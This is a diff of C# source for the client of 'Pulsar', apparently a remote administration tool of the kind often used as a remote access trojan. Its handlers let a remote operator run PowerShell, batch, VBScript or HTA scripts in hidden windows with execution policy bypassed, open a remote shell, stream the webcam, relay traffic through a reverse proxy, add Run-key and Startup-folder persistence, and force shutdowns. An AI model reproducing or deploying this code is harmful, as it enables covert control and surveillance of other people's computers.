if (_chatThread != null && _chatThread.IsAlive)
{
_chatThread.Join(500);
_chatThread = null;
}
else
{
_chatThread = null;
}
}
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,123 @@
using Pulsar.Client.Helper;
using Pulsar.Client.IpGeoLocation;
using Pulsar.Client.User;
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.NetworkInformation;
using Pulsar.Client.IO;
using Pulsar.Common.Messages.Administration.SystemInfo;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.UserSupport.MessageBox;
using System.Threading;
using System.CodeDom.Compiler;
using System.Diagnostics;
namespace Pulsar.Client.Messages
{
public class RemoteScriptingHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoExecScript;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoExecScript msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoExecScript message)
{
new Thread(() =>
{
string tempFile = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
if (message.Language == "Powershell")
{
tempFile += ".ps1";
File.WriteAllText(tempFile, message.Script);
ProcessStartInfo psi = new ProcessStartInfo("powershell", "-ExecutionPolicy Bypass -File " + tempFile)
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = message.Hidden,
UseShellExecute = false
};
Process process = Process.Start(psi);
process.WaitForExit();
File.Delete(tempFile);
}
else if (message.Language == "Batch")
{
tempFile += ".bat";
File.WriteAllText(tempFile, message.Script);
ProcessStartInfo psi = new ProcessStartInfo("cmd", "/c " + tempFile)
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = message.Hidden,
UseShellExecute = false
};
Process process = Process.Start(psi);
process.WaitForExit();
File.Delete(tempFile);
}
else if (message.Language == "VBScript")
{
tempFile += ".vbs";
File.WriteAllText(tempFile, message.Script);
ProcessStartInfo psi = new ProcessStartInfo("cscript", tempFile)
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = message.Hidden,
UseShellExecute = false
};
Process process = Process.Start(psi);
process.WaitForExit();
File.Delete(tempFile);
}
else if (message.Language == "JavaScript")
{
if (message.Script.Contains("WScript.") || message.Script.Contains("ActiveXObject"))
{
tempFile += ".js";
File.WriteAllText(tempFile, message.Script);
ProcessStartInfo psi = new ProcessStartInfo("cscript", "//Nologo " + tempFile)
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = message.Hidden,
UseShellExecute = false
};
Process process = Process.Start(psi);
process.WaitForExit();
File.Delete(tempFile);
}
else
{
tempFile += ".hta";
string scriptContent = "<html><head><hta:application windowstate='minimize'></hta:application></head><body><script>" + message.Script + "</script></body></html>";
File.WriteAllText(tempFile, scriptContent);
ProcessStartInfo psi = new ProcessStartInfo("mshta", tempFile)
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = message.Hidden,
UseShellExecute = true
};
Process process = Process.Start(psi);
if (!process.WaitForExit(5000))
{
process.Kill();
}
File.Delete(tempFile);
}
}
})
{ IsBackground = true }.Start();
}
}
}
@@ -0,0 +1,97 @@
using Pulsar.Client.IO;
using Pulsar.Client.Networking;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.RemoteShell;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
namespace Pulsar.Client.Messages
{
/// <summary>
/// Handles messages for the interaction with the remote shell.
/// </summary>
public class RemoteShellHandler : IMessageProcessor, IDisposable
{
/// <summary>
/// The current remote shell instance.
/// </summary>
private Shell _shell;
/// <summary>
/// The client which is associated with this remote shell handler.
/// </summary>
private readonly PulsarClient _client;
/// <summary>
/// Initializes a new instance of the <see cref="RemoteShellHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
public RemoteShellHandler(PulsarClient client)
{
_client = client;
_client.ClientState += OnClientStateChange;
}
/// <summary>
/// Handles changes of the client state.
/// </summary>
/// <param name="s">The client which changed its state.</param>
/// <param name="connected">The new connection state of the client.</param>
private void OnClientStateChange(Networking.Client s, bool connected)
{
// close shell on client disconnection
if (!connected)
{
_shell?.Dispose();
}
}
/// <inheritdoc />
public bool CanExecute(IMessage message) => message is DoShellExecute;
/// <inheritdoc />
public bool CanExecuteFrom(ISender sender) => true;
/// <inheritdoc />
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoShellExecute shellExec:
Execute(sender, shellExec);
break;
}
}
private void Execute(ISender client, DoShellExecute message)
{
string input = message.Command;
if (_shell == null && input == "exit") return;
if (_shell == null) _shell = new Shell(_client);
if (input == "exit")
_shell.Dispose();
else
_shell.ExecuteCommand(input);
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
_shell?.Dispose();
}
}
}
}
@@ -0,0 +1,435 @@
using Pulsar.Client.Helper;
using Pulsar.Common.Enums;
using Pulsar.Common.Networking;
using Pulsar.Common.Video;
using Pulsar.Common.Video.Codecs;
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using System.Diagnostics;
using Pulsar.Common.Messages.Webcam;
using Pulsar.Common.Messages.Other;
using System.Collections.Concurrent;
namespace Pulsar.Client.Messages
{
public class RemoteWebcamHandler : NotificationMessageProcessor, IDisposable
{
private UnsafeStreamCodec _streamCodec;
private BitmapData _webcamData = null;
private Bitmap _webcam = null;
private ISender _clientMain;
private Thread _captureThread;
private WebcamHelper _webcamHelper;
private WebcamHelper WebcamHelper
{
get
{
if (_webcamHelper == null)
{
_webcamHelper = new WebcamHelper();
}
return _webcamHelper;
}
}
private CancellationTokenSource _cancellationTokenSource;
// frame control variables
private readonly ConcurrentQueue<byte[]> _frameBuffer = new ConcurrentQueue<byte[]>();
private readonly AutoResetEvent _frameRequestEvent = new AutoResetEvent(false);
private int _pendingFrameRequests = 0;
// max buffer size to prevent memory issues
private const int MAX_BUFFER_SIZE = 10;
private readonly Stopwatch _stopwatch = new Stopwatch();
private int _frameCount = 0;
private float _lastFrameRate = 0f;
private bool _sendFrameRateNext = false;
private MemoryStream _reusableStream;
private MemoryStream ReusableStream
{
get
{
if (_reusableStream == null)
{
_reusableStream = new MemoryStream();
}
return _reusableStream;
}
}
public override bool CanExecute(IMessage message) => message is GetWebcam ||
message is GetAvailableWebcams;
public override bool CanExecuteFrom(ISender sender) => true;
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetWebcam msg:
Execute(sender, msg);
break;
case GetAvailableWebcams msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetWebcam message)
{
if (message.Status == RemoteWebcamStatus.Stop)
{
StopWebcamStreaming();
}
else if (message.Status == RemoteWebcamStatus.Start)
{
StartWebcamStreaming(client, message);
}
else if (message.Status == RemoteWebcamStatus.Continue)
{
// server is requesting more frames
Interlocked.Add(ref _pendingFrameRequests, message.FramesRequested);
_frameRequestEvent.Set();
}
}
private void StartWebcamStreaming(ISender client, GetWebcam message)
{
try
{
try
{
WebcamHelper.StartWebcam(message.DisplayIndex);
}
catch (Exception ex)
{
Debug.WriteLine($"Error starting webcam: {ex.Message}");
OnReport("Failed to start webcam: " + ex.Message);
return;
}
Debug.WriteLine("Starting remote webcam session");
var webcamBounds = WebcamHelper.GetBounds();
var resolution = new Resolution { Height = webcamBounds.Height, Width = webcamBounds.Width };
try
{
if (_streamCodec == null)
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
if (message.CreateNew)
{
_streamCodec?.Dispose();
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
OnReport("Remote webcam session started");
}
if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
{
_streamCodec?.Dispose();
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error initializing stream codec: {ex.Message}");
OnReport("Failed to initialize stream codec: " + ex.Message);
return;
}
_clientMain = client;
// clear any pending frame requests and existing frames
ClearFrameBuffer();
Interlocked.Exchange(ref _pendingFrameRequests, message.FramesRequested);
if (_captureThread == null || !_captureThread.IsAlive)
{
try
{
_cancellationTokenSource = new CancellationTokenSource();
_captureThread = new Thread(() => BufferedCaptureLoop(_cancellationTokenSource.Token));
_captureThread.Start();
}
catch (Exception ex)
{
Debug.WriteLine($"Error starting capture thread: {ex.Message}");
OnReport("Failed to start capture thread: " + ex.Message);
}
}
}
catch (Exception ex)
{
Debug.WriteLine($"Unexpected error in StartWebcamStreaming: {ex.Message}");
OnReport("Unexpected error: " + ex.Message);
}
}
private void StopWebcamStreaming()
{
try
{
try
{
WebcamHelper.StopWebcam();
}
catch (Exception ex)
{
Debug.WriteLine($"Error stopping webcam: {ex.Message}");
}
Debug.WriteLine("Stopping remote webcam session");
_cancellationTokenSource?.Cancel();
if (_captureThread != null && _captureThread.IsAlive)
{
try
{
_frameRequestEvent.Set(); // wake up thread
_captureThread.Join();
}
catch (Exception ex)
{
Debug.WriteLine($"Error joining capture thread: {ex.Message}");
}
_captureThread = null;
}
if (_webcam != null)
{
if (_webcamData != null)
{
try
{
_webcam.UnlockBits(_webcamData);
}
catch (Exception ex)
{
Debug.WriteLine($"Error unlocking bits: {ex.Message}");
}
_webcamData = null;
}
try
{
_webcam.Dispose();
}
catch (Exception ex)
{
Debug.WriteLine($"Error disposing webcam: {ex.Message}");
}
_webcam = null;
}
if (_streamCodec != null)
{
try
{
_streamCodec.Dispose();
}
catch (Exception ex)
{
Debug.WriteLine($"Error disposing stream codec: {ex.Message}");
}
_streamCodec = null;
}
// clear the buffer
ClearFrameBuffer();
Interlocked.Exchange(ref _pendingFrameRequests, 0);
}
catch (Exception ex)
{
Debug.WriteLine($"Unexpected error in StopWebcamStreaming: {ex.Message}");
}
}
private void BufferedCaptureLoop(CancellationToken cancellationToken)
{
Debug.WriteLine("Starting buffered capture loop");
_stopwatch.Start();
while (!cancellationToken.IsCancellationRequested)
{
try
{
// wait for frame requests if the buffer is full or no frames are requested
if (_frameBuffer.Count >= MAX_BUFFER_SIZE || _pendingFrameRequests <= 0)
{
Debug.WriteLine($"Waiting for frame requests. Buffer size: {_frameBuffer.Count}, Pending requests: {_pendingFrameRequests}");
_frameRequestEvent.WaitOne(500);
// if cancellation was requested during the wait
if (cancellationToken.IsCancellationRequested)
break;
continue;
}
// capture frame and add to buffer
byte[] frameData = CaptureFrame();
if (frameData != null)
{
_frameBuffer.Enqueue(frameData);
// increment frame counter for statistics
_frameCount++;
if (_stopwatch.ElapsedMilliseconds >= 1000)
{
Debug.WriteLine($"Capture FPS: {_frameCount}, Buffer size: {_frameBuffer.Count}, Pending requests: {_pendingFrameRequests}");
_lastFrameRate = _frameCount;
_frameCount = 0;
_stopwatch.Restart();
_sendFrameRateNext = true;
}
}
// send frames if we have pending requests
while (_pendingFrameRequests > 0 && _frameBuffer.TryDequeue(out byte[] frameToSend))
{
SendFrameToServer(frameToSend, Interlocked.Decrement(ref _pendingFrameRequests) == 0);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error in buffered capture loop: {ex.Message}");
Thread.Sleep(100); // Avoid tight loop in case of repeated errors
}
}
Debug.WriteLine("Buffered capture loop ended");
}
private byte[] CaptureFrame()
{
try
{
_webcam = WebcamHelper.GetLatestFrame();
if (_webcam == null)
{
return null;
}
const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb;
Bitmap processedBitmap = _webcam;
if (_webcam.PixelFormat != codecPixelFormat)
{
try
{
processedBitmap = new Bitmap(_webcam.Width, _webcam.Height, codecPixelFormat);
using (Graphics g = Graphics.FromImage(processedBitmap))
{
g.DrawImage(_webcam, 0, 0, _webcam.Width, _webcam.Height);
}
_webcam.Dispose();
_webcam = processedBitmap;
}
catch (Exception ex)
{
Debug.WriteLine($"Error converting pixel format: {ex.Message}");
processedBitmap = _webcam;
}
}
_webcamData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
ImageLockMode.ReadWrite, processedBitmap.PixelFormat);
ReusableStream.Position = 0;
ReusableStream.SetLength(0);
if (_streamCodec == null) throw new Exception("StreamCodec can not be null.");
_streamCodec.CodeImage(_webcamData.Scan0,
new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
new Size(processedBitmap.Width, processedBitmap.Height),
processedBitmap.PixelFormat, ReusableStream);
return ReusableStream.ToArray();
}
catch (Exception ex)
{
Debug.WriteLine($"Error capturing frame: {ex.Message}");
return null;
}
finally
{
if (_webcamData != null)
{
_webcam.UnlockBits(_webcamData);
_webcamData = null;
}
_webcam?.Dispose();
_webcam = null;
}
}
private void SendFrameToServer(byte[] frameData, bool isLastRequestedFrame)
{
if (frameData == null || _clientMain == null) return;
try
{
var response = new GetWebcamResponse
{
Image = frameData,
Quality = _streamCodec.ImageQuality,
Monitor = _streamCodec.Monitor,
Resolution = _streamCodec.Resolution,
IsLastRequestedFrame = isLastRequestedFrame,
FrameRate = 0f
};
if (_sendFrameRateNext)
{
response.FrameRate = _lastFrameRate;
_sendFrameRateNext = false;
}
_clientMain.Send(response);
}
catch (Exception ex)
{
Debug.WriteLine($"Error sending frame to server: {ex.Message}");
}
}
private void ClearFrameBuffer()
{
while (_frameBuffer.TryDequeue(out _)) { }
}
private void Execute(ISender client, GetAvailableWebcams message)
{
client.Send(new GetAvailableWebcamsResponse { Webcams = WebcamHelper.GetWebcams() });
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
StopWebcamStreaming();
_streamCodec?.Dispose();
_cancellationTokenSource?.Dispose();
_frameRequestEvent?.Dispose();
_reusableStream?.Dispose();
}
}
}
}
@@ -0,0 +1,59 @@
using Pulsar.Client.Networking;
using Pulsar.Client.ReverseProxy;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.ReverseProxy;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
namespace Pulsar.Client.Messages
{
public class ReverseProxyHandler : IMessageProcessor
{
private readonly PulsarClient _client;
public ReverseProxyHandler(PulsarClient client)
{
_client = client;
}
public bool CanExecute(IMessage message) => message is ReverseProxyConnect ||
message is ReverseProxyData ||
message is ReverseProxyDisconnect;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case ReverseProxyConnect msg:
Execute(sender, msg);
break;
case ReverseProxyData msg:
Execute(sender, msg);
break;
case ReverseProxyDisconnect msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, ReverseProxyConnect message)
{
_client.ConnectReverseProxy(message);
}
private void Execute(ISender client, ReverseProxyData message)
{
ReverseProxyClient proxyClient = _client.GetReverseProxyByConnectionId(message.ConnectionId);
proxyClient?.SendToTargetServer(message.Data);
}
private void Execute(ISender client, ReverseProxyDisconnect message)
{
ReverseProxyClient socksClient = _client.GetReverseProxyByConnectionId(message.ConnectionId);
socksClient?.Disconnect();
}
}
}
+209
View File
@@ -0,0 +1,209 @@
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.Actions;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Principal;
using System.Windows.Forms;
namespace Pulsar.Client.Messages
{
public class ShutdownHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoShutdownAction;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
if (message is DoShutdownAction msg)
Execute(sender, msg);
}
private void Execute(ISender client, DoShutdownAction message)
{
try
{
switch (message.Action)
{
case ShutdownAction.Shutdown:
client.Send(new SetStatus { Message = "Client is shutting down..." });
if (!EnableShutdownPrivilege() || !ExitWindowsEx(ExitWindows.ShutDown | ExitWindows.ForceIfHung, 0))
{
// Fallback to shutdown.exe if native API fails
Process.Start(new ProcessStartInfo
{
FileName = "shutdown",
Arguments = "/s /t 0",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = true
});
}
break;
case ShutdownAction.Restart:
client.Send(new SetStatus { Message = "Client is restarting..." });
if (!EnableShutdownPrivilege() || !ExitWindowsEx(ExitWindows.Reboot | ExitWindows.ForceIfHung, 0))
{
// Fallback to shutdown.exe if native API fails
Process.Start(new ProcessStartInfo
{
FileName = "shutdown",
Arguments = "/r /t 0",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = true
});
}
break;
case ShutdownAction.Standby:
client.Send(new SetStatus { Message = "Client entering standby mode..." });
if (!SetSuspendState(false, true, true))
client.Send(new SetStatus { Message = "Standby request failed." });
break;
case ShutdownAction.Lockscreen:
client.Send(new SetStatus { Message = "Client screen is being locked..." });
if (!LockWorkStation())
client.Send(new SetStatus { Message = "LockWorkStation failed, fallback unavailable." });
break;
default:
client.Send(new SetStatus { Message = "Unknown shutdown action requested." });
break;
}
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Shutdown action failed: {ex.Message}" });
}
}
#region Native interop
[Flags]
private enum ExitWindows : uint
{
LogOff = 0x00000000,
ShutDown = 0x00000001,
Reboot = 0x00000002,
PowerOff = 0x00000008,
ForceIfHung = 0x00000010,
Force = 0x00000004
}
[DllImport("user32.dll", SetLastError = true)]
private static extern bool ExitWindowsEx(ExitWindows uFlags, uint dwReason);
[DllImport("powrprof.dll", SetLastError = true)]
private static extern bool SetSuspendState(bool hibernate, bool forceCritical, bool disableWakeEvent);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool LockWorkStation();
// Token / privilege APIs
private const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege";
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
private const int TOKEN_ADJUST_PRIVILEGES = 0x0020;
private const int TOKEN_QUERY = 0x0008;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct LUID
{
public uint LowPart;
public int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
private struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public uint Attributes;
}
[StructLayout(LayoutKind.Sequential)]
private struct TOKEN_PRIVILEGES
{
public uint PrivilegeCount;
public LUID_AND_ATTRIBUTES Privileges;
}
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges,
ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
private static bool EnableShutdownPrivilege()
{
if (!IsAdministrator())
return false;
if (!OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out var tokenHandle))
return false;
try
{
if (!LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, out var luid))
return false;
var tp = new TOKEN_PRIVILEGES
{
PrivilegeCount = 1,
Privileges = new LUID_AND_ATTRIBUTES
{
Luid = luid,
Attributes = SE_PRIVILEGE_ENABLED
}
};
if (!AdjustTokenPrivileges(tokenHandle, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero))
return false;
// AdjustTokenPrivileges returns true even when it fails to enable; check last error
return Marshal.GetLastWin32Error() == 0;
}
finally
{
CloseHandle(tokenHandle);
}
}
[DllImport("kernel32.dll")]
private static extern bool CloseHandle(IntPtr hObject);
private static bool IsAdministrator()
{
try
{
using (var id = WindowsIdentity.GetCurrent())
{
var wp = new WindowsPrincipal(id);
return wp.IsInRole(WindowsBuiltInRole.Administrator);
}
}
catch
{
return false;
}
}
private static void ThrowLastWin32Error(string message)
{
var err = new Win32Exception(Marshal.GetLastWin32Error());
throw new InvalidOperationException($"{message}: {err.Message}");
}
#endregion
}
}
@@ -0,0 +1,267 @@
using Microsoft.Win32;
using Pulsar.Client.Extensions;
using Pulsar.Client.Helper;
using Pulsar.Common.Enums;
using Pulsar.Common.Helpers;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.StartupManager;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
namespace Pulsar.Client.Messages
{
public class StartupManagerHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is GetStartupItems ||
message is DoStartupItemAdd ||
message is DoStartupItemRemove;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetStartupItems msg:
Execute(sender, msg);
break;
case DoStartupItemAdd msg:
Execute(sender, msg);
break;
case DoStartupItemRemove msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetStartupItems message)
{
try
{
List<Common.Models.StartupItem> startupItems = new List<Common.Models.StartupItem>();
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
foreach (var item in key.GetKeyValues())
{
startupItems.Add(new Common.Models.StartupItem
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRun });
}
}
}
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key != null)
{
foreach (var item in key.GetKeyValues())
{
startupItems.Add(new Common.Models.StartupItem
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnce });
}
}
}
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
foreach (var item in key.GetKeyValues())
{
startupItems.Add(new Common.Models.StartupItem
{ Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRun });
}
}
}
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key != null)
{
foreach (var item in key.GetKeyValues())
{
startupItems.Add(new Common.Models.StartupItem
{ Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRunOnce });
}
}
}
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
foreach (var item in key.GetKeyValues())
{
startupItems.Add(new Common.Models.StartupItem
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunX86 });
}
}
}
using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key != null)
{
foreach (var item in key.GetKeyValues())
{
startupItems.Add(new Common.Models.StartupItem
{ Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnceX86 });
}
}
}
if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
{
var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles();
startupItems.AddRange(files.Where(file => file.Name != "desktop.ini").Select(file => new Common.Models.StartupItem
{ Name = file.Name, Path = file.FullName, Type = StartupType.StartMenu }));
}
client.Send(new GetStartupItemsResponse { StartupItems = startupItems });
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Getting Autostart Items failed: {ex.Message}" });
}
}
private void Execute(ISender client, DoStartupItemAdd message)
{
try
{
switch (message.StartupItem.Type)
{
case StartupType.LocalMachineRun:
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
{
throw new Exception("Could not add value");
}
break;
case StartupType.LocalMachineRunOnce:
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
{
throw new Exception("Could not add value");
}
break;
case StartupType.CurrentUserRun:
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
{
throw new Exception("Could not add value");
}
break;
case StartupType.CurrentUserRunOnce:
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
{
throw new Exception("Could not add value");
}
break;
case StartupType.LocalMachineRunX86:
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true))
{
throw new Exception("Could not add value");
}
break;
case StartupType.LocalMachineRunOnceX86:
if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true))
{
throw new Exception("Could not add value");
}
break;
case StartupType.StartMenu:
if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
{
Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup));
}
string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup),
message.StartupItem.Name + ".url");
using (var writer = new StreamWriter(lnkPath, false))
{
writer.WriteLine("[InternetShortcut]");
writer.WriteLine("URL=file:///" + message.StartupItem.Path);
writer.WriteLine("IconIndex=0");
writer.WriteLine("IconFile=" + message.StartupItem.Path.Replace('\\', '/'));
writer.Flush();
}
break;
}
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Adding Autostart Item failed: {ex.Message}" });
}
}
private void Execute(ISender client, DoStartupItemRemove message)
{
try
{
switch (message.StartupItem.Type)
{
case StartupType.LocalMachineRun:
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
{
throw new Exception("Could not remove value");
}
break;
case StartupType.LocalMachineRunOnce:
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
{
throw new Exception("Could not remove value");
}
break;
case StartupType.CurrentUserRun:
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
{
throw new Exception("Could not remove value");
}
break;
case StartupType.CurrentUserRunOnce:
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
{
throw new Exception("Could not remove value");
}
break;
case StartupType.LocalMachineRunX86:
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name))
{
throw new Exception("Could not remove value");
}
break;
case StartupType.LocalMachineRunOnceX86:
if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine,
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name))
{
throw new Exception("Could not remove value");
}
break;
case StartupType.StartMenu:
string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name);
if (!File.Exists(startupItemPath))
throw new IOException("File does not exist");
File.Delete(startupItemPath);
break;
}
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Removing Autostart Item failed: {ex.Message}" });
}
}
}
}
@@ -0,0 +1,76 @@
using Pulsar.Client.Helper;
using Pulsar.Client.IpGeoLocation;
using Pulsar.Client.User;
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.NetworkInformation;
using Pulsar.Client.IO;
using Pulsar.Common.Messages.Administration.SystemInfo;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Client.Messages
{
public class SystemInformationHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is GetSystemInfo;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetSystemInfo msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, GetSystemInfo message)
{
try
{
IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties();
var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-";
var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-";
var geoInfo = GeoInformationFactory.GetGeoInformation();
var userAccount = new UserAccount();
string defaultBrowser = SystemHelper.GetDefaultBrowser();
List<Tuple<string, string>> lstInfos = new List<Tuple<string, string>>
{
